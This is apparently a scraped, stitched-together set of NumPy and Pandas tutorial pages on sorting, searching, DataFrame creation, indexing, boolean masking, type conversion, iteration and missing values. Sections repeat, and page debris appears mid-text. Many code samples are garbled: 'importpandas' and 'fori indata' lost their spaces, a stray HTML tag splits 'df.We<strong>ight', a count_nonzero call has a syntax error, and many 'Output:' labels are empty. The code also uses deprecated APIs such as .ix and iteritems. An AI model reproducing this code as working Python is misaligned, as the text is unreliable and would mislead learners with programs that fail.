# sort along the first axis
a = np.array([[12, 15], [10, 1]])
arr1 = np.sort(a, axis = 0)
print ("Along first axis : \n", arr1)
# sort along the last axis
a = np.array([[10, 15], [12, 1]])
arr2 = np.sort(a, axis = -1)
print ("\nAlong first axis : \n", arr2)
a = np.array([[12, 15], [10, 1]])
arr1 = np.sort(a, axis = None)
print ("\nAlong none axis : \n", arr1)
Output :
Along first axis :
[[10 1]
[12 15]]
Along first axis :
[[10 15]
[ 1 12]]
Along none axis :
[ 1 10 12 15]
numpy.argsort() : This function returns the indices that would sort an array.
# Python code to demonstrate
# working of numpy.argsort
import numpy as np
# Numpy array created
a = np.array([9, 3, 1, 7, 4, 3, 6])
# unsorted array print
print('Original array:\n', a)
# Sort array indices
b = np.argsort(a)
print('Sorted indices of original array->', b)
# To get sorted array using sorted indices
# c is temp array created of same len as of b
c = np.zeros(len(b), dtype = int)
for i in range(0, len(b)):
c[i]= a[b[i]]
print('Sorted array->', c)
Output:
Original array:
[9 3 1 7 4 3 6]
Sorted indices of original array-> [2 1 5 4 6 3 0]
Sorted array-> [1 3 3 4 6 7 9]
numpy.lexsort() : This function returns an indirect stable sort using a sequence of keys.
# Python code to demonstrate working of
# numpy.lexsort()
import numpy as np
# Numpy array created
# First column
a = np.array([9, 3, 1, 3, 4, 3, 6])
# Second column
b = np.array([4, 6, 9, 2, 1, 8, 7])
print('column a, column b')
for (i, j) in zip(a, b):
print(i, ' ', j)
# Sort by a then by b
ind = np.lexsort((b, a))
print('Sorted indices->', ind)
Return a copy of an array sorted along the first axis.
numpy.sort_complex()
Sort a complex array using the real part first, then the imaginary part.
numpy.partition()
Return a partitioned copy of an array.
numpy.argpartition()
Perform an indirect partition along the given axis using the algorithm specified by the kind keyword.
Searching
Searching is an operation or a technique that helps finds the place of a given element or value in the list. Any search is said to be successful or unsuccessful depending upon whether the element that is being searched is found or not. In Numpy, we can perform various searching operations using the various functions that are provided in the library like argmax, argmin, nanaargmax etc.
numpy.argmax() : This function returns indices of the max element of the array in a particular axis.
# Python Program illustrating
# working of argmax()
import numpy as geek
# Working on 2D array
array = geek.arange(12).reshape(3, 4)
print("INPUT ARRAY : \n", array)
# No axis mentioned, so works on entire array
print("\nMax element : ", geek.argmax(array))
# returning Indices of the max element
# as per the indices
print(("\nIndices of Max element : "
, geek.argmax(array, axis=0)))
print(("\nIndices of Max element : "
, geek.argmax(array, axis=1)))
Output :
INPUT ARRAY :
[[ 0 1 2 3]
[ 4 5 6 7]
[ 8 9 10 11]]
Max element : 11
Indices of Max element : [2 2 2 2]
Indices of Max element : [3 3 3]
numpy.nanargmax() : This function returns indices of the max element of the array in a particular axis ignoring NaNs.The results cannot be trusted if a slice contains only NaNs and Infs.
# Python Program illustrating
# working of nanargmax()
import numpy as geek
# Working on 1D array
array = [geek.nan, 4, 2, 3, 1]
print("INPUT ARRAY 1 : \n", array)
array2 = geek.array([[geek.nan, 4], [1, 3]])
# returning Indices of the max element
# as per the indices ingnoring NaN
print(("\nIndices of max in array1 : "
, geek.nanargmax(array)))
# Working on 2D array
print("\nINPUT ARRAY 2 : \n", array2)
print(("\nIndices of max in array2 : "
, geek.nanargmax(array2)))
print(("\nIndices at axis 1 of array2 : "
, geek.nanargmax(array2, axis = 1)))
Output :
INPUT ARRAY 1 :
[nan, 4, 2, 3, 1]
Indices of max in array1 : 1
INPUT ARRAY 2 :
[[ nan 4.]
[ 1. 3.]]
Indices of max in array2 : 1
Indices at axis 1 of array2 : [1 1]
numpy.argmin() : This function returns the indices of the minimum values along an axis.
# Python Program illustrating
# working of argmin()
import numpy as geek
# Working on 1D array
array = geek.arange(8)
print("INPUT ARRAY : \n", array)
# returning Indices of the min element
# as per the indices
print("\nIndices of min element : ", geek.argmin(array, axis=0))
Output :
INPUT ARRAY :
[0 1 2 3 4 5 6 7]
Indices of min element : 0
Return the elements of an array that satisfy some condition.
Counting
numpy.count_nonzero() : Counts the number of non-zero values in the array .
# Python Program illustrating
# working of count_nonzero()
import numpy as np
# Counting a number of
# non-zero values
a = np.count_nonzero([[0,1,7,0,0],[3,0,0,2,19]])
b = np.count_nonzero(([[0,1,7,0,0],[3,0,0,2,19]]
, axis=0))
print("Number of nonzero values is :",a)
print("Number of nonzero values is :",b)
Output :
Number of nonzero values is : 5
Number of nonzero values is : [1, 1, 1, 1, 1]
Pandas is an open-source library that is built on top of NumPy library. It is a Python package that offers various data structures and operations for manipulating numerical data and time series. It is mainly popular for importing and analyzing data much easier. Pandas is fast and it has high-performance & productivity for users.
This Pandas Tutorial will help learning Pandas from Basics to advance data analysis operations, including all necessary functions explained in detail.
Pandas DataFrame is two-dimensional size-mutable, potentially heterogeneous tabular data structure with labeled axes (rows and columns). A Data frame is a two-dimensional data structure, i.e., data is aligned in a tabular fashion in rows and columns. Pandas DataFrame consists of three principal components, the data, rows, and columns.
We will get a brief insight on all these basic operation which can be performed on Pandas DataFrame :
In the real world, a Pandas DataFrame will be created by loading the datasets from existing storage, storage can be SQL Database, CSV file, and Excel file. Pandas DataFrame can be created from the lists, dictionary, and from a list of dictionary etc. Dataframe can be created in different ways here are some ways by which we create a dataframe:
# import pandas as pd
import pandas as pd
# list of strings
lst = ['Geeks', 'For', 'Geeks', 'is',
'portal', 'for', 'Geeks']
# Calling DataFrame constructor on list
df = pd.DataFrame(lst)
print(df)
Output:
Creating DataFrame from dict of ndarray/lists: To create DataFrame from dict of narray/list, all the narray must be of same length. If index is passed then the length index should be equal to the length of arrays. If no index is passed, then by default, index will be range(n) where n is the array length.
# Python code demonstrate creating
# DataFrame from dict narray / lists
# By default addresses.
import pandas as pd
# intialise data of lists.
data = {'Name':['Tom', 'nick', 'krish', 'jack'],
'Age':[20, 21, 19, 18]}
# Create DataFrame
df = pd.DataFrame(data)
# Print the output.
print(df)
A Data frame is a two-dimensional data structure, i.e., data is aligned in a tabular fashion in rows and columns. We can perform basic operations on rows/columns like selecting, deleting, adding, and renaming.
Column Selection: In Order to select a column in Pandas DataFrame, we can either access the columns by calling them by their columns name.
# Import pandas package
import pandas as pd
# Define a dictionary containing employee data
data = {'Name':['Jai', 'Princi', 'Gaurav', 'Anuj'],
'Age':[27, 24, 22, 32],
'Address':['Delhi', 'Kanpur', 'Allahabad', 'Kannauj'],
'Qualification':['Msc', 'MA', 'MCA', 'Phd']}
# Convert the dictionary into DataFrame
df = pd.DataFrame(data)
# select two columns
print(df[['Name', 'Qualification']])
Output:
Row Selection: Pandas provide a unique method to retrieve rows from a Data frame. DataFrame.loc[] method is used to retrieve rows from Pandas DataFrame. Rows can also be selected by passing integer location to an iloc[] function.
Note: We’ll be using nba.csv file in below examples.
# importing pandas package
import pandas as pd
# making data frame from csv file
data = pd.read_csv("nba.csv", index_col ="Name")
# retrieving row by loc method
first = data.loc["Avery Bradley"]
second = data.loc["R.J. Hunter"]
print(first, "\n\n\n", second)
Output: As shown in the output image, two series were returned since there was only one parameter both of the times. For more Details refer to Dealing with Rows and Columns
Indexing in pandas means simply selecting particular rows and columns of data from a DataFrame. Indexing could mean selecting all the rows and some of the columns, some of the rows and all of the columns, or some of each of the rows and columns. Indexing can also be known as Subset Selection.
Indexing a Dataframe using indexing operator [] : Indexing operator is used to refer to the square brackets following an object. The .loc and .iloc indexers also use the indexing operator to make selections. In this indexing operator to refer to df[].
Selecting a single columns
In order to select a single column, we simply put the name of the column in-between the brackets
# importing pandas package
import pandas as pd
# making data frame from csv file
data = pd.read_csv("nba.csv", index_col ="Name")
# retrieving columns by indexing operator
first = data["Age"]
print(first)
Output:
Indexing a DataFrame using .loc[ ] : This function selects data by the label of the rows and columns. The df.loc indexer selects data in a different way than just the indexing operator. It can select subsets of rows or columns. It can also simultaneously select subsets of rows and columns.
Selecting a single row
In order to select a single row using .loc[], we put a single row label in a .loc function.
# importing pandas package
import pandas as pd
# making data frame from csv file
data = pd.read_csv("nba.csv", index_col ="Name")
# retrieving row by loc method
first = data.loc["Avery Bradley"]
second = data.loc["R.J. Hunter"]
print(first, "\n\n\n", second)
Output: As shown in the output image, two series were returned since there was only one parameter both of the times.
Indexing a DataFrame using .iloc[ ] : This function allows us to retrieve rows and columns by position. In order to do that, we’ll need to specify the positions of the rows that we want, and the positions of the columns that we want as well. The df.iloc indexer is very similar to df.loc but only uses integer locations to make its selections.
Selecting a single row
In order to select a single row using .iloc[], we can pass a single integer to .iloc[] function.
import pandas as pd
# making data frame from csv file
data = pd.read_csv("nba.csv", index_col ="Name")
# retrieving rows by iloc method
row2 = data.iloc[3]
print(row2)
Missing Data can occur when no information is provided for one or more items or for a whole unit. Missing Data is a very big problem in real life scenario. Missing Data can also refer to as NA(Not Available) values in pandas.
Checking for missing values using isnull() and notnull() : In order to check missing values in Pandas DataFrame, we use a function isnull() and notnull(). Both function help in checking whether a value is NaN or not. These function can also be used in Pandas Series in order to find null values in a series.
# importing pandas as pd
import pandas as pd
# importing numpy as np
import numpy as np
# dictionary of lists
dict = {'First Score':[100, 90, np.nan, 95],
'Second Score': [30, 45, 56, np.nan],
'Third Score':[np.nan, 40, 80, 98]}
# creating a dataframe from list
df = pd.DataFrame(dict)
# using isnull() function
df.isnull()
Output:
Filling missing values using fillna(), replace() and interpolate() : In order to fill null values in a datasets, we use fillna(), replace() and interpolate() function these function replace NaN values with some value of their own. All these function help in filling a null values in datasets of a DataFrame. Interpolate() function is basically used to fill NA values in the dataframe but it uses various interpolation technique to fill the missing values rather than hard-coding the value.
# importing pandas as pd
import pandas as pd
# importing numpy as np
import numpy as np
# dictionary of lists
dict = {'First Score':[100, 90, np.nan, 95],
'Second Score': [30, 45, 56, np.nan],
'Third Score':[np.nan, 40, 80, 98]}
# creating a dataframe from dictionary
df = pd.DataFrame(dict)
# filling missing value using fillna()
df.fillna(0)
Output:
Dropping missing values using dropna() : In order to drop a null values from a dataframe, we used dropna() function this fuction drop Rows/Columns of datasets with Null values in different ways.
# importing pandas as pd
import pandas as pd
# importing numpy as np
import numpy as np
# dictionary of lists
dict = {'First Score':[100, 90, np.nan, 95],
'Second Score': [30, np.nan, 45, 56],
'Third Score':[52, 40, 80, 98],
'Fourth Score':[np.nan, np.nan, np.nan, 65]}
# creating a dataframe from dictionary
df = pd.DataFrame(dict)
df
Now we drop rows with at least one Nan value (Null value)
# importing pandas as pd
import pandas as pd
# importing numpy as np
import numpy as np
# dictionary of lists
dict = {'First Score':[100, 90, np.nan, 95],
'Second Score': [30, np.nan, 45, 56],
'Third Score':[52, 40, 80, 98],
'Fourth Score':[np.nan, np.nan, np.nan, 65]}
# creating a dataframe from dictionary
df = pd.DataFrame(dict)
# using dropna() function
df.dropna()
Iteration is a general term for taking each item of something, one after another. Pandas DataFrame consists of rows and columns so, in order to iterate over dataframe, we have to iterate a dataframe like a dictionary.
Iterating over rows : In order to iterate over rows, we can use three function iteritems(), iterrows(), itertuples() . These three function will help in iteration over rows.
# importing pandas as pd
import pandas as pd
# dictionary of lists
dict = {'name':["aparna", "pankaj", "sudhir", "Geeku"],
'degree': ["MBA", "BCA", "M.Tech", "MBA"],
'score':[90, 40, 80, 98]}
# creating a dataframe from a dictionary
df = pd.DataFrame(dict)
print(df)
Now we apply iterrows() function in order to get a each element of rows.
# importing pandas as pd
import pandas as pd
# dictionary of lists
dict = {'name':["aparna", "pankaj", "sudhir", "Geeku"],
'degree': ["MBA", "BCA", "M.Tech", "MBA"],
'score':[90, 40, 80, 98]}
# creating a dataframe from a dictionary
df = pd.DataFrame(dict)
# iterating over rows using iterrows() function
for i, j in df.iterrows():
print(i, j)
print()
Output:
Iterating over Columns : In order to iterate over columns, we need to create a list of dataframe columns and then iterating through that list to pull out the dataframe columns.
# importing pandas as pd
import pandas as pd
# dictionary of lists
dict = {'name':["aparna", "pankaj", "sudhir", "Geeku"],
'degree': ["MBA", "BCA", "M.Tech", "MBA"],
'score':[90, 40, 80, 98]}
# creating a dataframe from a dictionary
df = pd.DataFrame(dict)
print(df)
Now we iterate through columns in order to iterate through columns we first create a list of dataframe columns and then iterate through list.
# creating a list of dataframe columns
columns = list(df)
for i in columns:
# printing the third element of the column
print (df[i][2])
Method sorts the values in a DataFrame based on their index positions or labels instead of their values but sometimes a data frame is made out of two or more data frames and hence later index can be changed using this method
Method retrieves DataFrame rows based on either index label or index position. This method combines the best features of the .loc[] and .iloc[] methods
Method is used to check a Data Frame for one or more condition and return the result accordingly. By default, the rows not satisfying the condition are filled with NaN value
In the real world, a Pandas DataFrame will be created by loading the datasets from existing storage, storage can be SQL Database, CSV file, and Excel file. Pandas DataFrame can be created from the lists, dictionary, and from a list of dictionary etc.
A Dataframe is a two-dimensional data structure, i.e., data is aligned in a tabular fashion in rows and columns. In dataframe datasets arrange in rows and columns, we can store any number of datasets in a dataframe. We can perform many operations on these datasets like arithmetic operation, columns/rows selection, columns/rows addition etc.
Pandas DataFrame can be created in multiple ways. Let’s discuss different ways to create a DataFrame one by one. Creating an empty dataframe : A basic DataFrame, which can be created is an Empty Dataframe. An Empty Dataframe is created just by calling a dataframe constructor.
Creating DataFrame from dict of ndarray/lists: To create DataFrame from dict of narray/list, all the narray must be of same length. If index is passed then the length index should be equal to the length of arrays. If no index is passed, then by default, index will be range(n) where n is the array length.
Python3
# Python code demonstrate creating
# DataFrame from dict narray / lists
# By default addresses.
importpandas as pd
# initialise data of lists.
data ={'Name':['Tom', 'nick', 'krish', 'jack'], 'Age':[20, 21, 19, 18]}
# Create DataFrame
df =pd.DataFrame(data)
# Print the output.
print(df)
Output:
Create pandas dataframe from lists using dictionary: Creating pandas data-frame from lists using dictionary can be achieved in different ways. We can create pandas dataframe from lists using dictionary using pandas.DataFrame. With this method in Pandas we can transform a dictionary of list to a dataframe.
A Data frame is a two-dimensional data structure, i.e., data is aligned in a tabular fashion in rows and columns. We can perform basic operations on rows/columns like selecting, deleting, adding, and renaming. In this article, we are using nba.csv file.
Dealing with Columns
In order to deal with columns, we perform basic operations on columns like selecting, deleting, adding and renaming.
Column Selection: In Order to select a column in Pandas DataFrame, we can either access the columns by calling them by their columns name.
# Import pandas package
importpandas as pd
# Define a dictionary containing employee data
data ={'Name':['Jai', 'Princi', 'Gaurav', 'Anuj'],
Column Deletion: In Order to delete a column in Pandas DataFrame, we can use the drop() method. Columns is deleted by dropping columns with column names.
Output: As shown in the output images, the new output doesn’t have the passed columns. Those values were dropped since axis was set equal to 1 and the changes were made in the original data frame since inplace was True.
In order to deal with rows, we can perform basic operations on rows like selecting, deleting, adding and renaming.
Row Selection: Pandas provide a unique method to retrieve rows from a Data frame.DataFrame.loc[] method is used to retrieve rows from Pandas DataFrame. Rows can also be selected by passing integer location to an iloc[] function.
# importing pandas package
importpandas as pd
# making data frame from csv file
data =pd.read_csv("nba.csv", index_col ="Name")
# retrieving row by loc method
first =data.loc["Avery Bradley"]
second =data.loc["R.J. Hunter"]
print(first, "\n\n\n", second)
Output: As shown in the output image, two series were returned since there was only one parameter both of the times. For more examples refer to Pandas Extracting rows using .loc[]
Row Addition: In Order to add a Row in Pandas DataFrame, we can concat the old dataframe with new one.
Output: As shown in the output images, the new output doesn’t have the passed values. Those values were dropped and the changes were made in the original data frame since inplace was True.
Indexing in Pandas : Indexing in pandas means simply selecting particular rows and columns of data from a DataFrame. Indexing could mean selecting all the rows and some of the columns, some of the rows and all of the columns, or some of each of the rows and columns. Indexing can also be known as Subset Selection.
Let’s see some example of indexing in Pandas. In this article, we are using “nba.csv” file to download the CSV, click here.
Selecting some rows and some columns
Let’s take a DataFrame with some fake data, now we perform indexing on this DataFrame. In this, we are selecting some rows and some columns from a DataFrame. Dataframe with dataset. Suppose we want to select columns Age, College and Salary for only rows with a labels Amir Johnson and Terry Rozier Our final DataFrame would look like this:
Selecting some rows and all columns
Let’s say we want to select row Amir Jhonson, Terry Rozier and John Holland with all columns in a dataframe. Our final DataFrame would look like this:
Selecting some columns and all rows
Let’s say we want to select columns Age, Height and Salary with all rows in a dataframe. Our final DataFrame would look like this:
There are a lot of ways to pull the elements, rows, and columns from a DataFrame. There are some indexing method in Pandas which help in getting an element from a DataFrame. These indexing methods appear very similar but behave very differently. Pandas support four types of Multi-axes indexing they are:
Dataframe.[ ] ; This function also known as indexing operator
Dataframe.iloc[ ] : This function is used for positions or integer based
Dataframe.ix[] : This function is used for both label and integer based
Collectively, they are called the indexers. These are by far the most common ways to index data. These are four function which help in getting the elements, rows, and columns from a DataFrame.
Indexing a Dataframe using indexing operator [] : Indexing operator is used to refer to the square brackets following an object. The .loc and .iloc indexers also use the indexing operator to make selections. In this indexing operator to refer to df[].
Selecting a single columns
In order to select a single column, we simply put the name of the column in-between the brackets
# importing pandas package
importpandas as pd
# making data frame from csv file
data =pd.read_csv("nba.csv", index_col ="Name")
# retrieving columns by indexing operator
first =data["Age"]
print(first)
Output:
Selecting multiple columns
In order to select multiple columns, we have to pass a list of columns in an indexing operator.
# importing pandas package
importpandas as pd
# making data frame from csv file
data =pd.read_csv("nba.csv", index_col ="Name")
# retrieving multiple columns by indexing operator
first =data[["Age", "College", "Salary"]]
first
Output:
Indexing a DataFrame using .loc[ ] : This function selects data by the label of the rows and columns. The df.loc indexer selects data in a different way than just the indexing operator. It can select subsets of rows or columns. It can also simultaneously select subsets of rows and columns.
Selecting a single row
In order to select a single row using .loc[], we put a single row label in a .loc function.
# importing pandas package
importpandas as pd
# making data frame from csv file
data =pd.read_csv("nba.csv", index_col ="Name")
# retrieving row by loc method
first =data.loc["Avery Bradley"]
second =data.loc["R.J. Hunter"]
print(first, "\n\n\n", second)
Output: As shown in the output image, two series were returned since there was only one parameter both of the times.
Selecting multiple rows
In order to select multiple rows, we put all the row labels in a list and pass that to .loc function.
importpandas as pd
# making data frame from csv file
data =pd.read_csv("nba.csv", index_col ="Name")
# retrieving multiple rows by loc method
first =data.loc[["Avery Bradley", "R.J. Hunter"]]
print(first)
Output:
Selecting two rows and three columns
In order to select two rows and three columns, we select a two rows which we want to select and three columns and put it in a separate list like this:
# retrieving two rows and three columns by loc method
first =data.loc[["Avery Bradley", "R.J. Hunter"],
["Team", "Number", "Position"]]
print(first)
Output:
Selecting all of the rows and some columns
In order to select all of the rows and some columns, we use single colon [:] to select all of rows and list of some columns which we want to select like this:
# retrieving all rows and some columns by loc method
first =data.loc[:, ["Team", "Number", "Position"]]
print(first)
Output:
Indexing a DataFrame using .iloc[ ] : This function allows us to retrieve rows and columns by position. In order to do that, we’ll need to specify the positions of the rows that we want, and the positions of the columns that we want as well. The df.iloc indexer is very similar to df.loc but only uses integer locations to make its selections.
Selecting a single row
In order to select a single row using .iloc[], we can pass a single integer to .iloc[] function.
importpandas as pd
# making data frame from csv file
data =pd.read_csv("nba.csv", index_col ="Name")
# retrieving rows by iloc method
row2 =data.iloc[3]
print(row2)
Output:
Selecting multiple rows
In order to select multiple rows, we can pass a list of integer to .iloc[] function.
importpandas as pd
# making data frame from csv file
data =pd.read_csv("nba.csv", index_col ="Name")
# retrieving multiple rows by iloc method
row2 =data.iloc [[3, 5, 7]]
row2
Output:
Selecting two rows and two columns
In order to select two rows and two columns, we create a list of 2 integer for rows and list of 2 integer for columns then pass to a .iloc[] function.
importpandas as pd
# making data frame from csv file
data =pd.read_csv("nba.csv", index_col ="Name")
# retrieving two rows and two columns by iloc method
row2 =data.iloc [[3, 4], [1, 2]]
print(row2)
Output:
Selecting all the rows and a some columns
In order to select all rows and some columns, we use single colon [:] to select all of rows and for columns we make a list of integer then pass to a .iloc[] function.
importpandas as pd
# making data frame from csv file
data =pd.read_csv("nba.csv", index_col ="Name")
# retrieving all rows and some columns by iloc method
row2 =data.iloc [:, [1, 2]]
print(row2)
Output:
Indexing a using Dataframe.ix[ ] : Early in the development of pandas, there existed another indexer, ix. This indexer was capable of selecting both by label and by integer location. While it was versatile, it caused lots of confusion because it’s not explicit. Sometimes integers can also be labels for rows or columns. Thus there were instances where it was ambiguous. Generally, ix is label based and acts just as the .loc indexer. However, .ix also supports integer type selections (as in .iloc) where passed an integer. This only works where the index of the DataFrame is not integer based .ix will accept any of the inputs of .loc and .iloc. Note: The .ix indexer has been deprecated in recent versions of Pandas.
In order to select a single row, we put a single row label in a .ix function. This function act similar as .loc[] if we pass a row label as a argument of a function.
In order to select a single row, we can pass a single integer to .ix[] function. This function similar as a iloc[] function if we pass an integer in a .ix[] function.
In boolean indexing, we will select subsets of data based on the actual values of the data in the DataFrame and not on their row/column labels or integer locations. In boolean indexing, we use a boolean vector to filter the data.
Boolean indexing is a type of indexing which uses actual values of the data in the DataFrame. In boolean indexing, we can filter a data in four ways –
Accessing a DataFrame with a boolean index
Applying a boolean mask to a dataframe
Masking data based on column value
Masking data based on an index value
Accessing a DataFrame with a boolean index : In order to access a dataframe with a boolean index, we have to create a dataframe in which the index of dataframe contains a boolean value that is “True” or “False”. For Example
df =pd.DataFrame(dict, index =[True, False, True, False])
print(df)
Output:
Now we have created a dataframe with the boolean index after that user can access a dataframe with the help of the boolean index. User can access a dataframe using three functions that is .loc[], .iloc[], .ix[]
Accessing a Dataframe with a boolean index using .loc[]
In order to access a dataframe with a boolean index using .loc[], we simply pass a boolean value (True or False) in a .loc[] function.
df =pd.DataFrame(dict, index =[True, False, True, False])
# accessing a dataframe using .loc[] function
print(df.loc[True])
Output:
Accessing a Dataframe with a boolean index using .iloc[]
In order to access a dataframe using .iloc[], we have to pass a boolean value (True or False) but iloc[] function accept only integer as an argument so it will throw an error so we can only access a dataframe when we pass an integer in iloc[] function Code #1:
df =pd.DataFrame(dict, index =[True, False, True, False])
# accessing a dataframe using .iloc[] function
print(df.iloc[1])
Output:
Accessing a Dataframe with a boolean index using .ix[]
In order to access a dataframe using .ix[], we have to pass boolean value (True or False) and integer value to .ix[] function because as we know that .ix[] function is a hybrid of .loc[] and .iloc[] function. Code #1:
df =pd.DataFrame(dict, index =[True, False, True, False])
# accessing a dataframe using .ix[] function
print(df.ix[1])
Output:
Applying a boolean mask to a dataframe : In a dataframe we can apply a boolean mask in order to do that we, can use __getitems__ or [] accessor. We can apply a boolean mask by giving a list of True and False of the same length as contain in a dataframe. When we apply a boolean mask it will print only that dataframe in which we pass a boolean value True. To download “nba1.1” CSV file click here. Code #1:
df =pd.DataFrame(data, index =[0, 1, 2, 3, 4, 5, 6,
7, 8, 9, 10, 11, 12])
df[[True, False, True, False, True,
False, True, False, True, False,
True, False, True]]
Output:
Masking data based on column value : In a dataframe we can filter a data based on a column value in order to filter data, we can apply certain conditions on the dataframe using different operators like ==, >, <, <=, >=. When we apply these operators to the dataframe then it produces a Series of True and False. To download the “nba.csv” CSV, click here. Code #1:
# using a comparison operator for filtering of data
print(df['degree'] =='BCA')
Output:
Code #2:
Python
# importing pandas package
importpandas as pd
# making data frame from csv file
data =pd.read_csv("nba.csv", index_col ="Name")
# using greater than operator for filtering of data
print(data['Age'] > 25)
Output:
Masking data based on index value : In a dataframe we can filter a data based on a column value in order to filter data, we can create a mask based on the index values using different operators like ==, >, <, etc… . To download “nba1.1” CSV file click here. Code #1:
df =pd.DataFrame(data, index =[0, 1, 2, 3, 4, 5, 6,
7, 8, 9, 10, 11, 12])
# filtering data on index value
mask =df.index > 7
df[mask]
Output:
My Personal Notesarrow_drop_up
Conversion Functions in Pandas DataFrame
Improve Article
Save Article
Like Article
Last Updated :25 Jul, 2019
Python is a great language for doing data analysis, primarily because of the fantastic ecosystem of data-centric python packages. Pandas is one of those packages and makes importing and analyzing data much easier. In this article, we are using “nba.csv” file to download the CSV, click here.
Cast a pandas object to a specified dtype
DataFrame.astype() function is used to cast a pandas object to a specified dtype. astype() function also provides the capability to convert any suitable existing column to categorical type.
Code #1: Convert the Weight column data type.
# importing pandas as pd
importpandas as pd
# Making data frame from the csv file
df =pd.read_csv("nba.csv")
# Printing the first 10 rows of
# the data frame for visualization
df[:10]
As the data have some “nan” values so, to avoid any error we will drop all the rows containing any nan values.
# drop all those rows which
# have any 'nan' value in it.
df.dropna(inplace =True)
# let's find out the data type of Weight column
before =type(df.Weight[0])
# Now we will convert it into 'int64' type.
df.Weight =df.We<strong>ight.astype('int64')
# let's find out the data type after casting
after =type(df.Weight[0])
# print the value of before
before
# print the value of after
after
Output:
# print the data frame and see
# what it looks like after the change
df
Infer better data type for input object column
DataFrame.infer_objects() function attempts to infer better data type for input object column. This function attempts soft conversion of object-dtyped columns, leaving non-object and unconvertible columns unchanged. The inference rules are the same as during normal Series/DataFrame construction.
Code #1: Use infer_objects() function to infer better data type.
# importing pandas as pd
importpandas as pd
# Creating the dataframe
df =pd.DataFrame({"A":["sofia", 5, 8, 11, 100],
"B":[2, 8, 77, 4, 11],
"C":["amy", 11, 4, 6, 9]})
# Print the dataframe
print(df)
Output :
Let’s see the dtype (data type) of each column in the dataframe.
# to print the basic info
df.info()
As we can see in the output, first and third column is of object type. whereas the second column is of int64 type. Now slice the dataframe and create a new dataframe from it.
# slice from the 1st row till end
df_new =df[1:]
# Let's print the new data frame
df_new
# Now let's print the data type of the columns
df_new.info()
Output :
As we can see in the output, column “A” and “C” are of object type even though they contain integer value. So, let’s try the infer_objects() function.
# applying infer_objects() function.
df_new =df_new.infer_objects()
# Print the dtype after applying the function
df_new.info()
Output : Now, if we look at the dtype of each column, we can see that the column “A” and “C” are now of int64 type.
Detect missing values
DataFrame.isna() function is used to detect missing values. It return a boolean same-sized object indicating if the values are NA. NA values, such as None or numpy.NaN, gets mapped to True values. Everything else gets mapped to False values. Characters such as empty strings ” or numpy.inf are not considered NA values (unless you set pandas.options.mode.use_inf_as_na = True).
Code #1: Use isna() function to detect the missing values in a dataframe.
# importing pandas as pd
importpandas as pd
# Creating the dataframe
df =pd.read_csv("nba.csv")
# Print the dataframe
df
Lets use the isna() function to detect the missing values.
# detect the missing values
df.isna()
Output : In the output, cells corresponding to the missing values contains true value else false.
Detecting existing/non-missing values
DataFrame.notna() function detects existing/ non-missing values in the dataframe. The function returns a boolean object having the same size as that of the object on which it is applied, indicating whether each individual value is a na value or not. All of the non-missing values gets mapped to true and missing values get mapped to false.
Code #1: Use notna() function to find all the non-missing value in the dataframe.
# importing pandas as pd
importpandas as pd
# Creating the first dataframe
df =pd.DataFrame({"A":[14, 4, 5, 4, 1],
"B":[5, 2, 54, 3, 2],
"C":[20, 20, 7, 3, 8],
"D":[14, 3, 6, 2, 6]})
# Print the dataframe
print(df)
Let’s use the dataframe.notna() function to find all the non-missing values in the dataframe.
# find non-na values
df.notna()
Output : As we can see in the output, all the non-missing values in the dataframe has been mapped to true. There is no false value as there is no missing value in the dataframe.
Methods for conversion in DataFrame
Function
Description
DataFrame.convert_objects()
Attempt to infer better dtype for object columns.
DataFrame.copy()
Return a copy of this object’s indices and data.
DataFrame.bool()
Return the bool of a single element PandasObject.
My Personal Notesarrow_drop_up
Iterating over rows and columns in Pandas DataFrame
Iteration is a general term for taking each item of something, one after another. Pandas DataFrame consists of rows and columns so, in order to iterate over dataframe, we have to iterate a dataframe like a dictionary. In a dictionary, we iterate over the keys of the object in the same way we have to iterate in dataframe.
In this article, we are using “nba.csv” file to download the CSV, click here. In Pandas Dataframe we can iterate an element in two ways:
Iterating over rows
Iterating over columns
Iterating over rows :
In order to iterate over rows, we can use three function iteritems(), iterrows(), itertuples() . These three function will help in iteration over rows.
Iteration over rows using iterrows()
In order to iterate over rows, we apply a iterrows() function this function returns each index value along with a series containing the data in each row.
# for data visualization we filter first 3 datasets
data.head(3)
Now we apply a iterrows to get each element of rows in dataframe
Python
# importing pandas module
importpandas as pd
# making data frame from csv file
data =pd.read_csv("nba.csv")
fori, j indata.iterrows():
print(i, j)
print()
Output:
Iteration over rows using iteritems()
In order to iterate over rows, we use iteritems() function this function iterates over each column as key, value pair with the label as key, and column value as a Series object.
# for data visualization we filter first 3 datasets
data.head(3)
Output:
Now we apply a iteritems() in order to retrieve rows from a dataframe
Python
# importing pandas module
importpandas as pd
# making data frame from csv file
data =pd.read_csv("nba.csv")
forkey, value indata.iteritems():
print(key, value)
print()
Output:
Iteration over rows using itertuples()
In order to iterate over rows, we apply a function itertuples() this function return a tuple for each row in the DataFrame. The first element of the tuple will be the row’s corresponding index value, while the remaining values are the row values.
# for data visualization we filter first 3 datasets
data.head(3)
Now we apply an itertuples() to get atuple of each rows
Python
# importing pandas module
importpandas as pd
# making data frame from csv file
data =pd.read_csv("nba.csv")
fori indata.itertuples():
print(i)
Output:
Iterating over Columns :
In order to iterate over columns, we need to create a list of dataframe columns and then iterating through that list to pull out the dataframe columns.
Missing Data can occur when no information is provided for one or more items or for a whole unit. Missing Data is a very big problem in a real-life scenarios. Missing Data can also refer to as NA(Not Available) values in pandas. In DataFrame sometimes many datasets simply arrive with missing data, either because it exists and was not collected or it never existed. For Example, Suppose different users being surveyed may choose not to share their income, some users may choose not to share the address in this way many datasets went missing.
In Pandas missing data is represented by two value:
None: None is a Python singleton object that is often used for missing data in Python code.
NaN : NaN (an acronym for Not a Number), is a special floating-point value recognized by all systems that use the standard IEEE floating-point representation
Pandas treat None and NaN as essentially interchangeable for indicating missing or null values. To facilitate this convention, there are several useful functions for detecting, removing, and replacing null values in Pandas DataFrame :
In this article we are using CSV file, to download the CSV file used, Click Here.
Checking for missing values using isnull() and notnull()
In order to check missing values in Pandas DataFrame, we use a function isnull() and notnull(). Both function help in checking whether a value is NaN or not. These function can also be used in Pandas Series in order to find null values in a series.
Checking for missing values using isnull()
In order to check null values in Pandas DataFrame, we use isnull() function this function return dataframe of Boolean values which are True for NaN values.
Code #1:
# importing pandas as pd
importpandas as pd
# importing numpy as np
importnumpy as np
# dictionary of lists
dict={'First Score':[100, 90, np.nan, 95],
'Second Score': [30, 45, 56, np.nan],
'Third Score':[np.nan, 40, 80, 98]}
# creating a dataframe from list
df =pd.DataFrame(dict)
# using isnull() function
df.isnull()
Output:
Code #2:
# importing pandas package
